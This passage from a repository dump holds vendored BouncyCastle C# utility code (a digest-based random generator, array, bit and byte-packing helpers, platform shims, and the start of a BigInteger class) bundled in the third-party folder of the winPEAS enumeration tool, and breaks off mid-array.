    */ public class DigestRandomGenerator : IRandomGenerator { private const long CYCLE_COUNT = 10; private long stateCounter; private long seedCounter; private IDigest digest; private byte[] state; private byte[] seed; public DigestRandomGenerator( IDigest digest) { this.digest = digest; this.seed = new byte[digest.GetDigestSize()]; this.seedCounter = 1; this.state = new byte[digest.GetDigestSize()]; this.stateCounter = 1; } public void AddSeedMaterial( byte[] inSeed) { lock (this) { DigestUpdate(inSeed); DigestUpdate(seed); DigestDoFinal(seed); } } public void AddSeedMaterial( long rSeed) { lock (this) { DigestAddCounter(rSeed); DigestUpdate(seed); DigestDoFinal(seed); } } public void NextBytes( byte[] bytes) { NextBytes(bytes, 0, bytes.Length); } public void NextBytes( byte[] bytes, int start, int len) { lock (this) { int stateOff = 0; GenerateState(); int end = start + len; for (int i = start; i < end; ++i) { if (stateOff == state.Length) { GenerateState(); stateOff = 0; } bytes[i] = state[stateOff++]; } } } private void CycleSeed() { DigestUpdate(seed); DigestAddCounter(seedCounter++); DigestDoFinal(seed); } private void GenerateState() { DigestAddCounter(stateCounter++); DigestUpdate(state); DigestUpdate(seed); DigestDoFinal(state); if ((stateCounter % CYCLE_COUNT) == 0) { CycleSeed(); } } private void DigestAddCounter(long seedVal) { byte[] bytes = new byte[8]; Pack.UInt64_To_LE((ulong)seedVal, bytes); digest.BlockUpdate(bytes, 0, bytes.Length); } private void DigestUpdate(byte[] inSeed) { digest.BlockUpdate(inSeed, 0, inSeed.Length); } private void DigestDoFinal(byte[] result) { digest.DoFinal(result, 0); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/IRandomGenerator.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.prng { /// Generic interface for objects generating random bytes. public interface IRandomGenerator { /// Add more seed material to the generator. /// A byte array to be mixed into the generator's state. void AddSeedMaterial(byte[] seed); /// Add more seed material to the generator. /// A long value to be mixed into the generator's state. void AddSeedMaterial(long seed); /// Fill byte array with random values. /// Array to be filled. void NextBytes(byte[] bytes); /// Fill byte array with random values. /// Array to receive bytes. /// Index to start filling at. /// Length of segment to fill. void NextBytes(byte[] bytes, int start, int len); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Arrays.cs ================================================ using System; using System.Text; using winPEAS._3rdParty.BouncyCastle.math; namespace winPEAS._3rdParty.BouncyCastle.crypto.util { /// General array utilities. public abstract class Arrays { public static readonly byte[] EmptyBytes = new byte[0]; public static readonly int[] EmptyInts = new int[0]; public static bool AreAllZeroes(byte[] buf, int off, int len) { uint bits = 0; for (int i = 0; i < len; ++i) { bits |= buf[off + i]; } return bits == 0; } public static bool AreEqual( bool[] a, bool[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } public static bool AreEqual( char[] a, char[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } /// /// Are two arrays equal. /// /// Left side. /// Right side. /// True if equal. public static bool AreEqual(byte[] a, byte[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } public static bool AreEqual(byte[] a, int aFromIndex, int aToIndex, byte[] b, int bFromIndex, int bToIndex) { int aLength = aToIndex - aFromIndex; int bLength = bToIndex - bFromIndex; if (aLength != bLength) return false; for (int i = 0; i < aLength; ++i) { if (a[aFromIndex + i] != b[bFromIndex + i]) return false; } return true; } [Obsolete("Use 'AreEqual' method instead")] public static bool AreSame( byte[] a, byte[] b) { return AreEqual(a, b); } /// /// A constant time equals comparison - does not terminate early if /// test will fail. /// /// first array /// second array /// true if arrays equal, false otherwise. public static bool ConstantTimeAreEqual(byte[] a, byte[] b) { if (null == a || null == b) return false; if (a == b) return true; int len = System.Math.Min(a.Length, b.Length); int nonEqual = a.Length ^ b.Length; for (int i = 0; i < len; ++i) { nonEqual |= (a[i] ^ b[i]); } for (int i = len; i < b.Length; ++i) { nonEqual |= (b[i] ^ ~b[i]); } return 0 == nonEqual; } public static bool ConstantTimeAreEqual(int len, byte[] a, int aOff, byte[] b, int bOff) { if (null == a) throw new ArgumentNullException("a"); if (null == b) throw new ArgumentNullException("b"); if (len < 0) throw new ArgumentException("cannot be negative", "len"); if (aOff > (a.Length - len)) throw new IndexOutOfRangeException("'aOff' value invalid for specified length"); if (bOff > (b.Length - len)) throw new IndexOutOfRangeException("'bOff' value invalid for specified length"); int d = 0; for (int i = 0; i < len; ++i) { d |= (a[aOff + i] ^ b[bOff + i]); } return 0 == d; } public static bool AreEqual( int[] a, int[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } //[CLSCompliant(false)] public static bool AreEqual(uint[] a, uint[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } public static bool AreEqual(long[] a, long[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } //[CLSCompliant(false)] public static bool AreEqual(ulong[] a, ulong[] b) { if (a == b) return true; if (a == null || b == null) return false; return HaveSameContents(a, b); } private static bool HaveSameContents( bool[] a, bool[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents( char[] a, char[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents( byte[] a, byte[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents( int[] a, int[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents(uint[] a, uint[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents(long[] a, long[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } private static bool HaveSameContents(ulong[] a, ulong[] b) { int i = a.Length; if (i != b.Length) return false; while (i != 0) { --i; if (a[i] != b[i]) return false; } return true; } public static string ToString( object[] a) { StringBuilder sb = new StringBuilder("["); if (a.Length > 0) { sb.Append(a[0]); for (int index = 1; index < a.Length; ++index) { sb.Append(", ").Append(a[index]); } } sb.Append(']'); return sb.ToString(); } public static int GetHashCode(byte[] data) { if (data == null) { return 0; } int i = data.Length; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= data[i]; } return hc; } public static int GetHashCode(byte[] data, int off, int len) { if (data == null) { return 0; } int i = len; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= data[off + i]; } return hc; } public static int GetHashCode(int[] data) { if (data == null) return 0; int i = data.Length; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= data[i]; } return hc; } public static int GetHashCode(int[] data, int off, int len) { if (data == null) return 0; int i = len; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= data[off + i]; } return hc; } //[CLSCompliant(false)] public static int GetHashCode(uint[] data) { if (data == null) return 0; int i = data.Length; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= (int)data[i]; } return hc; } //[CLSCompliant(false)] public static int GetHashCode(uint[] data, int off, int len) { if (data == null) return 0; int i = len; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= (int)data[off + i]; } return hc; } //[CLSCompliant(false)] public static int GetHashCode(ulong[] data) { if (data == null) return 0; int i = data.Length; int hc = i + 1; while (--i >= 0) { ulong di = data[i]; hc *= 257; hc ^= (int)di; hc *= 257; hc ^= (int)(di >> 32); } return hc; } //[CLSCompliant(false)] public static int GetHashCode(ulong[] data, int off, int len) { if (data == null) return 0; int i = len; int hc = i + 1; while (--i >= 0) { ulong di = data[off + i]; hc *= 257; hc ^= (int)di; hc *= 257; hc ^= (int)(di >> 32); } return hc; } public static bool[] Clone(bool[] data) { return data == null ? null : (bool[])data.Clone(); } public static byte[] Clone(byte[] data) { return data == null ? null : (byte[])data.Clone(); } public static int[] Clone(int[] data) { return data == null ? null : (int[])data.Clone(); } //[CLSCompliant(false)] public static uint[] Clone(uint[] data) { return data == null ? null : (uint[])data.Clone(); } public static long[] Clone(long[] data) { return data == null ? null : (long[])data.Clone(); } //[CLSCompliant(false)] public static ulong[] Clone(ulong[] data) { return data == null ? null : (ulong[])data.Clone(); } public static byte[] Clone(byte[] data, byte[] existing) { if (data == null) return null; if (existing == null || existing.Length != data.Length) return Clone(data); Array.Copy(data, 0, existing, 0, existing.Length); return existing; } //[CLSCompliant(false)] public static ulong[] Clone(ulong[] data, ulong[] existing) { if (data == null) return null; if (existing == null || existing.Length != data.Length) return Clone(data); Array.Copy(data, 0, existing, 0, existing.Length); return existing; } public static bool Contains(byte[] a, byte n) { for (int i = 0; i < a.Length; ++i) { if (a[i] == n) return true; } return false; } public static bool Contains(short[] a, short n) { for (int i = 0; i < a.Length; ++i) { if (a[i] == n) return true; } return false; } public static bool Contains(int[] a, int n) { for (int i = 0; i < a.Length; ++i) { if (a[i] == n) return true; } return false; } public static void Fill( byte[] buf, byte b) { int i = buf.Length; while (i > 0) { buf[--i] = b; } } public static void Fill(byte[] buf, int from, int to, byte b) { for (int i = from; i < to; ++i) { buf[i] = b; } } public static byte[] CopyOf(byte[] data, int newLength) { byte[] tmp = new byte[newLength]; Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length)); return tmp; } public static char[] CopyOf(char[] data, int newLength) { char[] tmp = new char[newLength]; Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length)); return tmp; } public static int[] CopyOf(int[] data, int newLength) { int[] tmp = new int[newLength]; Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length)); return tmp; } public static long[] CopyOf(long[] data, int newLength) { long[] tmp = new long[newLength]; Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length)); return tmp; } public static BigInteger[] CopyOf(BigInteger[] data, int newLength) { BigInteger[] tmp = new BigInteger[newLength]; Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length)); return tmp; } /** * Make a copy of a range of bytes from the passed in data array. The range can * extend beyond the end of the input array, in which case the return array will * be padded with zeroes. * * @param data the array from which the data is to be copied. * @param from the start index at which the copying should take place. * @param to the final index of the range (exclusive). * * @return a new byte array containing the range given. */ public static byte[] CopyOfRange(byte[] data, int from, int to) { int newLength = GetLength(from, to); byte[] tmp = new byte[newLength]; Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from)); return tmp; } public static int[] CopyOfRange(int[] data, int from, int to) { int newLength = GetLength(from, to); int[] tmp = new int[newLength]; Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from)); return tmp; } public static long[] CopyOfRange(long[] data, int from, int to) { int newLength = GetLength(from, to); long[] tmp = new long[newLength]; Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from)); return tmp; } public static BigInteger[] CopyOfRange(BigInteger[] data, int from, int to) { int newLength = GetLength(from, to); BigInteger[] tmp = new BigInteger[newLength]; Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from)); return tmp; } private static int GetLength(int from, int to) { int newLength = to - from; if (newLength < 0) throw new ArgumentException(from + " > " + to); return newLength; } public static byte[] Append(byte[] a, byte b) { if (a == null) return new byte[] { b }; int length = a.Length; byte[] result = new byte[length + 1]; Array.Copy(a, 0, result, 0, length); result[length] = b; return result; } public static short[] Append(short[] a, short b) { if (a == null) return new short[] { b }; int length = a.Length; short[] result = new short[length + 1]; Array.Copy(a, 0, result, 0, length); result[length] = b; return result; } public static int[] Append(int[] a, int b) { if (a == null) return new int[] { b }; int length = a.Length; int[] result = new int[length + 1]; Array.Copy(a, 0, result, 0, length); result[length] = b; return result; } public static byte[] Concatenate(byte[] a, byte[] b) { if (a == null) return Clone(b); if (b == null) return Clone(a); byte[] rv = new byte[a.Length + b.Length]; Array.Copy(a, 0, rv, 0, a.Length); Array.Copy(b, 0, rv, a.Length, b.Length); return rv; } public static byte[] ConcatenateAll(params byte[][] vs) { byte[][] nonNull = new byte[vs.Length][]; int count = 0; int totalLength = 0; for (int i = 0; i < vs.Length; ++i) { byte[] v = vs[i]; if (v != null) { nonNull[count++] = v; totalLength += v.Length; } } byte[] result = new byte[totalLength]; int pos = 0; for (int j = 0; j < count; ++j) { byte[] v = nonNull[j]; Array.Copy(v, 0, result, pos, v.Length); pos += v.Length; } return result; } public static int[] Concatenate(int[] a, int[] b) { if (a == null) return Clone(b); if (b == null) return Clone(a); int[] rv = new int[a.Length + b.Length]; Array.Copy(a, 0, rv, 0, a.Length); Array.Copy(b, 0, rv, a.Length, b.Length); return rv; } public static byte[] Prepend(byte[] a, byte b) { if (a == null) return new byte[] { b }; int length = a.Length; byte[] result = new byte[length + 1]; Array.Copy(a, 0, result, 1, length); result[0] = b; return result; } public static short[] Prepend(short[] a, short b) { if (a == null) return new short[] { b }; int length = a.Length; short[] result = new short[length + 1]; Array.Copy(a, 0, result, 1, length); result[0] = b; return result; } public static int[] Prepend(int[] a, int b) { if (a == null) return new int[] { b }; int length = a.Length; int[] result = new int[length + 1]; Array.Copy(a, 0, result, 1, length); result[0] = b; return result; } public static byte[] Reverse(byte[] a) { if (a == null) return null; int p1 = 0, p2 = a.Length; byte[] result = new byte[p2]; while (--p2 >= 0) { result[p2] = a[p1++]; } return result; } public static int[] Reverse(int[] a) { if (a == null) return null; int p1 = 0, p2 = a.Length; int[] result = new int[p2]; while (--p2 >= 0) { result[p2] = a[p1++]; } return result; } public static void Clear(byte[] data) { if (null != data) { Array.Clear(data, 0, data.Length); } } public static void Clear(int[] data) { if (null != data) { Array.Clear(data, 0, data.Length); } } public static bool IsNullOrContainsNull(object[] array) { if (null == array) return true; int count = array.Length; for (int i = 0; i < count; ++i) { if (null == array[i]) return true; } return false; } public static bool IsNullOrEmpty(byte[] array) { return null == array || array.Length < 1; } public static bool IsNullOrEmpty(object[] array) { return null == array || array.Length < 1; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Longs.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.math.raw; namespace winPEAS._3rdParty.BouncyCastle.crypto.util { public abstract class Longs { public static long Reverse(long i) { i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x5555555555555555UL, 1); i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x3333333333333333UL, 2); i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x0F0F0F0F0F0F0F0FUL, 4); return ReverseBytes(i); } //[CLSCompliant(false)] public static ulong Reverse(ulong i) { i = Bits.BitPermuteStepSimple(i, 0x5555555555555555UL, 1); i = Bits.BitPermuteStepSimple(i, 0x3333333333333333UL, 2); i = Bits.BitPermuteStepSimple(i, 0x0F0F0F0F0F0F0F0FUL, 4); return ReverseBytes(i); } public static long ReverseBytes(long i) { return RotateLeft((long)((ulong)i & 0xFF000000FF000000UL), 8) | RotateLeft((long)((ulong)i & 0x00FF000000FF0000UL), 24) | RotateLeft((long)((ulong)i & 0x0000FF000000FF00UL), 40) | RotateLeft((long)((ulong)i & 0x000000FF000000FFUL), 56); } //[CLSCompliant(false)] public static ulong ReverseBytes(ulong i) { return RotateLeft(i & 0xFF000000FF000000UL, 8) | RotateLeft(i & 0x00FF000000FF0000UL, 24) | RotateLeft(i & 0x0000FF000000FF00UL, 40) | RotateLeft(i & 0x000000FF000000FFUL, 56); } public static long RotateLeft(long i, int distance) { return (i << distance) ^ (long)((ulong)i >> -distance); } //[CLSCompliant(false)] public static ulong RotateLeft(ulong i, int distance) { return (i << distance) ^ (i >> -distance); } public static long RotateRight(long i, int distance) { return (long)((ulong)i >> distance) ^ (i << -distance); } //[CLSCompliant(false)] public static ulong RotateRight(ulong i, int distance) { return (i >> distance) ^ (i << -distance); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Pack.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.util { internal sealed class Pack { private Pack() { } internal static void UInt16_To_BE(ushort n, byte[] bs) { bs[0] = (byte)(n >> 8); bs[1] = (byte)(n); } internal static void UInt16_To_BE(ushort n, byte[] bs, int off) { bs[off] = (byte)(n >> 8); bs[off + 1] = (byte)(n); } internal static ushort BE_To_UInt16(byte[] bs) { uint n = (uint)bs[0] << 8 | (uint)bs[1]; return (ushort)n; } internal static ushort BE_To_UInt16(byte[] bs, int off) { uint n = (uint)bs[off] << 8 | (uint)bs[off + 1]; return (ushort)n; } internal static byte[] UInt32_To_BE(uint n) { byte[] bs = new byte[4]; UInt32_To_BE(n, bs, 0); return bs; } internal static void UInt32_To_BE(uint n, byte[] bs) { bs[0] = (byte)(n >> 24); bs[1] = (byte)(n >> 16); bs[2] = (byte)(n >> 8); bs[3] = (byte)(n); } internal static void UInt32_To_BE(uint n, byte[] bs, int off) { bs[off] = (byte)(n >> 24); bs[off + 1] = (byte)(n >> 16); bs[off + 2] = (byte)(n >> 8); bs[off + 3] = (byte)(n); } internal static byte[] UInt32_To_BE(uint[] ns) { byte[] bs = new byte[4 * ns.Length]; UInt32_To_BE(ns, bs, 0); return bs; } internal static void UInt32_To_BE(uint[] ns, byte[] bs, int off) { for (int i = 0; i < ns.Length; ++i) { UInt32_To_BE(ns[i], bs, off); off += 4; } } public static void UInt32_To_BE(uint[] ns, int nsOff, int nsLen, byte[] bs, int bsOff) { for (int i = 0; i < nsLen; ++i) { UInt32_To_BE(ns[nsOff + i], bs, bsOff); bsOff += 4; } } internal static uint BE_To_UInt32(byte[] bs) { return (uint)bs[0] << 24 | (uint)bs[1] << 16 | (uint)bs[2] << 8 | (uint)bs[3]; } internal static uint BE_To_UInt32(byte[] bs, int off) { return (uint)bs[off] << 24 | (uint)bs[off + 1] << 16 | (uint)bs[off + 2] << 8 | (uint)bs[off + 3]; } internal static void BE_To_UInt32(byte[] bs, int off, uint[] ns) { for (int i = 0; i < ns.Length; ++i) { ns[i] = BE_To_UInt32(bs, off); off += 4; } } public static void BE_To_UInt32(byte[] bs, int bsOff, uint[] ns, int nsOff, int nsLen) { for (int i = 0; i < nsLen; ++i) { ns[nsOff + i] = BE_To_UInt32(bs, bsOff); bsOff += 4; } } internal static byte[] UInt64_To_BE(ulong n) { byte[] bs = new byte[8]; UInt64_To_BE(n, bs, 0); return bs; } internal static void UInt64_To_BE(ulong n, byte[] bs) { UInt32_To_BE((uint)(n >> 32), bs); UInt32_To_BE((uint)(n), bs, 4); } internal static void UInt64_To_BE(ulong n, byte[] bs, int off) { UInt32_To_BE((uint)(n >> 32), bs, off); UInt32_To_BE((uint)(n), bs, off + 4); } internal static byte[] UInt64_To_BE(ulong[] ns) { byte[] bs = new byte[8 * ns.Length]; UInt64_To_BE(ns, bs, 0); return bs; } internal static void UInt64_To_BE(ulong[] ns, byte[] bs, int off) { for (int i = 0; i < ns.Length; ++i) { UInt64_To_BE(ns[i], bs, off); off += 8; } } public static void UInt64_To_BE(ulong[] ns, int nsOff, int nsLen, byte[] bs, int bsOff) { for (int i = 0; i < nsLen; ++i) { UInt64_To_BE(ns[nsOff + i], bs, bsOff); bsOff += 8; } } internal static ulong BE_To_UInt64(byte[] bs) { uint hi = BE_To_UInt32(bs); uint lo = BE_To_UInt32(bs, 4); return ((ulong)hi << 32) | (ulong)lo; } internal static ulong BE_To_UInt64(byte[] bs, int off) { uint hi = BE_To_UInt32(bs, off); uint lo = BE_To_UInt32(bs, off + 4); return ((ulong)hi << 32) | (ulong)lo; } internal static void BE_To_UInt64(byte[] bs, int off, ulong[] ns) { for (int i = 0; i < ns.Length; ++i) { ns[i] = BE_To_UInt64(bs, off); off += 8; } } public static void BE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen) { for (int i = 0; i < nsLen; ++i) { ns[nsOff + i] = BE_To_UInt64(bs, bsOff); bsOff += 8; } } internal static void UInt16_To_LE(ushort n, byte[] bs) { bs[0] = (byte)(n); bs[1] = (byte)(n >> 8); } internal static void UInt16_To_LE(ushort n, byte[] bs, int off) { bs[off] = (byte)(n); bs[off + 1] = (byte)(n >> 8); } internal static ushort LE_To_UInt16(byte[] bs) { uint n = (uint)bs[0] | (uint)bs[1] << 8; return (ushort)n; } internal static ushort LE_To_UInt16(byte[] bs, int off) { uint n = (uint)bs[off] | (uint)bs[off + 1] << 8; return (ushort)n; } internal static byte[] UInt32_To_LE(uint n) { byte[] bs = new byte[4]; UInt32_To_LE(n, bs, 0); return bs; } internal static void UInt32_To_LE(uint n, byte[] bs) { bs[0] = (byte)(n); bs[1] = (byte)(n >> 8); bs[2] = (byte)(n >> 16); bs[3] = (byte)(n >> 24); } internal static void UInt32_To_LE(uint n, byte[] bs, int off) { bs[off] = (byte)(n); bs[off + 1] = (byte)(n >> 8); bs[off + 2] = (byte)(n >> 16); bs[off + 3] = (byte)(n >> 24); } internal static byte[] UInt32_To_LE(uint[] ns) { byte[] bs = new byte[4 * ns.Length]; UInt32_To_LE(ns, bs, 0); return bs; } internal static void UInt32_To_LE(uint[] ns, byte[] bs, int off) { for (int i = 0; i < ns.Length; ++i) { UInt32_To_LE(ns[i], bs, off); off += 4; } } internal static void UInt32_To_LE(uint[] ns, int nsOff, int nsLen, byte[] bs, int bsOff) { for (int i = 0; i < nsLen; ++i) { UInt32_To_LE(ns[nsOff + i], bs, bsOff); bsOff += 4; } } internal static uint LE_To_UInt32(byte[] bs) { return (uint)bs[0] | (uint)bs[1] << 8 | (uint)bs[2] << 16 | (uint)bs[3] << 24; } internal static uint LE_To_UInt32(byte[] bs, int off) { return (uint)bs[off] | (uint)bs[off + 1] << 8 | (uint)bs[off + 2] << 16 | (uint)bs[off + 3] << 24; } internal static void LE_To_UInt32(byte[] bs, int off, uint[] ns) { for (int i = 0; i < ns.Length; ++i) { ns[i] = LE_To_UInt32(bs, off); off += 4; } } internal static void LE_To_UInt32(byte[] bs, int bOff, uint[] ns, int nOff, int count) { for (int i = 0; i < count; ++i) { ns[nOff + i] = LE_To_UInt32(bs, bOff); bOff += 4; } } internal static uint[] LE_To_UInt32(byte[] bs, int off, int count) { uint[] ns = new uint[count]; for (int i = 0; i < ns.Length; ++i) { ns[i] = LE_To_UInt32(bs, off); off += 4; } return ns; } internal static byte[] UInt64_To_LE(ulong n) { byte[] bs = new byte[8]; UInt64_To_LE(n, bs, 0); return bs; } internal static void UInt64_To_LE(ulong n, byte[] bs) { UInt32_To_LE((uint)(n), bs); UInt32_To_LE((uint)(n >> 32), bs, 4); } internal static void UInt64_To_LE(ulong n, byte[] bs, int off) { UInt32_To_LE((uint)(n), bs, off); UInt32_To_LE((uint)(n >> 32), bs, off + 4); } internal static byte[] UInt64_To_LE(ulong[] ns) { byte[] bs = new byte[8 * ns.Length]; UInt64_To_LE(ns, bs, 0); return bs; } internal static void UInt64_To_LE(ulong[] ns, byte[] bs, int off) { for (int i = 0; i < ns.Length; ++i) { UInt64_To_LE(ns[i], bs, off); off += 8; } } internal static void UInt64_To_LE(ulong[] ns, int nsOff, int nsLen, byte[] bs, int bsOff) { for (int i = 0; i < nsLen; ++i) { UInt64_To_LE(ns[nsOff + i], bs, bsOff); bsOff += 8; } } internal static ulong LE_To_UInt64(byte[] bs) { uint lo = LE_To_UInt32(bs); uint hi = LE_To_UInt32(bs, 4); return ((ulong)hi << 32) | (ulong)lo; } internal static ulong LE_To_UInt64(byte[] bs, int off) { uint lo = LE_To_UInt32(bs, off); uint hi = LE_To_UInt32(bs, off + 4); return ((ulong)hi << 32) | (ulong)lo; } internal static void LE_To_UInt64(byte[] bs, int off, ulong[] ns) { for (int i = 0; i < ns.Length; ++i) { ns[i] = LE_To_UInt64(bs, off); off += 8; } } internal static void LE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen) { for (int i = 0; i < nsLen; ++i) { ns[nsOff + i] = LE_To_UInt64(bs, bsOff); bsOff += 8; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Platform.cs ================================================ using System; using System.Collections; using System.Globalization; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.crypto.util { internal abstract class Platform { private static readonly CompareInfo InvariantCompareInfo = CultureInfo.InvariantCulture.CompareInfo; #if NETCF_1_0 || NETCF_2_0 private static string GetNewLine() { MemoryStream buf = new MemoryStream(); StreamWriter w = new StreamWriter(buf, Encoding.UTF8); w.WriteLine(); Dispose(w); byte[] bs = buf.ToArray(); return Encoding.UTF8.GetString(bs, 0, bs.Length); } #else private static string GetNewLine() { return Environment.NewLine; } #endif internal static bool EqualsIgnoreCase(string a, string b) { #if PORTABLE return String.Equals(a, b, StringComparison.OrdinalIgnoreCase); #else return ToUpperInvariant(a) == ToUpperInvariant(b); #endif } #if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || (PORTABLE && !DOTNET) internal static string GetEnvironmentVariable( string variable) { return null; } #else internal static string GetEnvironmentVariable( string variable) { try { return Environment.GetEnvironmentVariable(variable); } catch (System.Security.SecurityException) { // We don't have the required permission to read this environment variable, // which is fine, just act as if it's not set return null; } } #endif #if NETCF_1_0 internal static Exception CreateNotImplementedException( string message) { return new Exception("Not implemented: " + message); } internal static bool Equals( object a, object b) { return a == b || (a != null && b != null && a.Equals(b)); } #else internal static Exception CreateNotImplementedException( string message) { return new NotImplementedException(message); } #endif #if SILVERLIGHT || PORTABLE internal static System.Collections.IList CreateArrayList() { return new List(); } internal static System.Collections.IList CreateArrayList(int capacity) { return new List(capacity); } internal static System.Collections.IList CreateArrayList(System.Collections.ICollection collection) { System.Collections.IList result = new List(collection.Count); foreach (object o in collection) { result.Add(o); } return result; } internal static System.Collections.IList CreateArrayList(System.Collections.IEnumerable collection) { System.Collections.IList result = new List(); foreach (object o in collection) { result.Add(o); } return result; } internal static System.Collections.IDictionary CreateHashtable() { return new Dictionary(); } internal static System.Collections.IDictionary CreateHashtable(int capacity) { return new Dictionary(capacity); } internal static System.Collections.IDictionary CreateHashtable(System.Collections.IDictionary dictionary) { System.Collections.IDictionary result = new Dictionary(dictionary.Count); foreach (System.Collections.DictionaryEntry entry in dictionary) { result.Add(entry.Key, entry.Value); } return result; } #else internal static System.Collections.IList CreateArrayList() { return new ArrayList(); } internal static System.Collections.IList CreateArrayList(int capacity) { return new ArrayList(capacity); } internal static System.Collections.IList CreateArrayList(System.Collections.ICollection collection) { return new ArrayList(collection); } internal static System.Collections.IList CreateArrayList(System.Collections.IEnumerable collection) { ArrayList result = new ArrayList(); foreach (object o in collection) { result.Add(o); } return result; } internal static System.Collections.IDictionary CreateHashtable() { return new Hashtable(); } internal static System.Collections.IDictionary CreateHashtable(int capacity) { return new Hashtable(capacity); } internal static System.Collections.IDictionary CreateHashtable(System.Collections.IDictionary dictionary) { return new Hashtable(dictionary); } #endif internal static string ToLowerInvariant(string s) { #if PORTABLE return s.ToLowerInvariant(); #else return s.ToLower(CultureInfo.InvariantCulture); #endif } internal static string ToUpperInvariant(string s) { #if PORTABLE return s.ToUpperInvariant(); #else return s.ToUpper(CultureInfo.InvariantCulture); #endif } internal static readonly string NewLine = GetNewLine(); #if PORTABLE internal static void Dispose(IDisposable d) { d.Dispose(); } #else internal static void Dispose(Stream s) { s.Close(); } internal static void Dispose(TextWriter t) { t.Close(); } #endif internal static int IndexOf(string source, string value) { return InvariantCompareInfo.IndexOf(source, value, CompareOptions.Ordinal); } internal static int LastIndexOf(string source, string value) { return InvariantCompareInfo.LastIndexOf(source, value, CompareOptions.Ordinal); } internal static bool StartsWith(string source, string prefix) { return InvariantCompareInfo.IsPrefix(source, prefix, CompareOptions.Ordinal); } internal static bool EndsWith(string source, string suffix) { return InvariantCompareInfo.IsSuffix(source, suffix, CompareOptions.Ordinal); } internal static string GetTypeName(object obj) { return obj.GetType().FullName; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Times.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto.util { public sealed class Times { private static long NanosecondsPerTick = 100L; public static long NanoTime() { return DateTime.UtcNow.Ticks * NanosecondsPerTick; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/BigInteger.cs ================================================ using System; using System.Collections; using System.Diagnostics; using System.Globalization; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.security; namespace winPEAS._3rdParty.BouncyCastle.math { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class BigInteger { // The first few odd primes /* 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157 163 167 173 179 181 191 193 197 199 211 223 227 229 233 239 241 251 257 263 269 271 277 281 283 293 307 311 313 317 331 337 347 349 353 359 367 373 379 383 389 397 401 409 419 421 431 433 439 443 449 457 461 463 467 479 487 491 499 503 509 521 523 541 547 557 563 569 571 577 587 593 599 601 607 613 617 619 631 641 643 647 653 659 661 673 677 683 691 701 709 719 727 733 739 743 751 757 761 769 773 787 797 809 811 821 823 827 829 839 853 857 859 863 877 881 883 887 907 911 919 929 937 941 947 953 967 971 977 983 991 997 1009 1013 1019 1021 1031 1033 1039 1049 1051 1061 1063 1069 1087 1091 1093 1097 1103 1109 1117 1123 1129 1151 1153 1163 1171 1181 1187 1193 1201 1213 1217 1223 1229 1231 1237 1249 1259 1277 1279 1283 1289 */ // Each list has a product < 2^31 internal static readonly int[][] primeLists = new int[][] { new int[]{ 3, 5, 7, 11, 13, 17, 19, 23 }, new int[]{ 29, 31, 37, 41, 43 }, new int[]{ 47, 53, 59, 61, 67 }, new int[]{ 71, 73, 79, 83 }, new int[]{ 89, 97, 